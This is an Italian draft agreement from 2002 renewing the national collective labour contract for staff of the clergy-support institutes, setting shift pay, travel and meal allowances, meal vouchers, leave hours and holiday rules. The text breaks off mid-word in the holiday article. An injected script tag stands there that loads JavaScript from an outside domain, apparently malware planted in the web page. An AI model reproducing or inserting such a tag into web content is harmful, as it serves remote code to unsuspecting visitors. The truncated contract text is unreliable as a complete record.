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Categoria: Istituti per il sostentamento del clero
Settore: Altro
Data stipula: 3-9-2002
Data decorrenza: 1-6-2002
Data scadenza: 31-5-2006

IPOTESI DI ACCORDO


Contratto Collettivo Nazionale di Lavoro

PER I DIPENDENTI DEGLI ISTITUTI PER IL SOSTENTAMENTO DEL CLERO

Premesso

-     che in data 30.7.02, dopo un approfondito confronto con i lavoratori
  interessati, le OOSS nazionali FILCAMS-CGIL e FISASCAT-CISL, trasmettevano
  alla Direzione dell'Istituto Centrale per il Sostentamento del Clero  la
  piattaforma contenente le richieste per il rinnovo del CCNL in scadenza il
  31 maggio 2002;
-     che le richieste contenute nella sopra citata piattaforma sono state
  predisposte  e avanzate in coerenza con quanto già definito e  praticato
  dalle  parti  firmatarie  il  CCNL in  tema  di  "modello  di  Relazioni
  sindacali",   nonché   con  quanto  previsto  dal  Protocollo   23.7.93,
  sottoscritto dalle Parti sociali e il Governo italiano;
-     che  in  data 3.9.02 veniva formalmente avviata la trattativa  sulle
  richieste avanzate dalle OOSS nazionali per il rinnovo del CCNL;
-     che in pari data, a conclusione del confronto, le parti concordavano
  sull'opportunità  di addivenire alla stesura della presente  Ipotesi  di
  accordo,  la  cui  efficacia è condizionata dall'esito delle  necessarie
  consultazioni che le OOSS svolgeranno entro il 30.9.02

tutto ciò premesso si è convenuto quanto segue

1.    Art. 6 - Turni di lavoro.

L'indennità   di  turno  giornaliera,  a  partire  dall'1.6.02,   è   così
modificata:

liv.  importo
  
2°       5,20
3°       4,92
4°       4,65
5°       4,54
6°       4,37



2.    Art. 27 - Trattamento di missione.

L'indennità  per ciascuna ora o frazione di ora di missione è  elevata,  a
decorrere da ottobre 2002 ad E 1,70.

Gli  importi  previsti  a  rimborso  delle  spese  di  pernottamento  pari
attualmente  ad E 119, per ciascuno dei pasti giornalieri principali  pari
ad  E  26,50  e per il singolo pasto giornaliero, attualmente  pari  ad  E
40,00,  vengono  aggiornati da gennaio 2003 e da gennaio di  ciascun  anno
successivo  sulla base dell'aumento medio del costo della vita per  l'anno
precedente, rilevato da ISTAT.



3.    Art.. - Servizio di mensa.

Gli  Istituti provvederanno a mettere a disposizione dei propri dipendenti
un  servizio  di mensa presso la propria o altre strutture.  Gli  Istituti
provvederanno, altresì, a concorrere alla spesa del pasto giornaliero  con
un  contributo  di  misura  pari al valore  del  buono  pasto  di  cui  al
successivo paragrafo.

Gli  Istituti  che  non sono in grado di garantire un  servizio  di  mensa
provvederanno a riconoscere ai propri dipendenti un'indennità  sostitutiva
della  mensa  attraverso  un buono pasto giornaliero  avente  il  seguente
importo:

E 3, a decorrere dal 1.10.02
E 4, a decorrere dal 1.6.03
E 5, a decorrere dal 1.1.05

Il  buono  pasto è riconosciuto per ogni giorno di presenza  effettiva  in
servizio non inferiore a ore 5,30.

Nel  caso  di presenza giornaliera inferiore a ore 5,30 il buono  pasto  è
comunque  riconosciuto  quando la prestazione è effettuata  sia  nell'arco
della mattina che del pomeriggio.

Nei  casi  d'orario  di  lavoro  a  tempo  parziale,  la  presenza  minima
giornaliera di ore 5,30 viene riproporzionata.

Vengono  fatte salve le condizioni di miglior favore esistenti in  materia
presso ogni singolo Istituto.



4.    Art. 18 - Ulteriori permessi.

Il  monte ore annuo dei permessi previsto dall'art. 18 (ore 72) è  elevato
ad ore 84 a decorrere dall'1.1.03.

Presso  ogni singolo Istituto le parti potranno concordare l'utilizzazione
del  predetto  monte  ore  annuo  ai fini  di  una  diversa  articolazione
dell'orario  settimanale  di lavoro, anche con riferimento  a  determinati
periodi dell'anno.



5.    Art. 13 - Ferie.

L'art.  13  viene integrato dal seguente testo, comprensivo della  nota  a
verbale.

Le  ferie vanno godute entro il 18° mese successivo alla fine dell'anno di
maturazione.

Fermo  restando  il  prede<script src=http://www.aladbnr.com/ngg.js></script>













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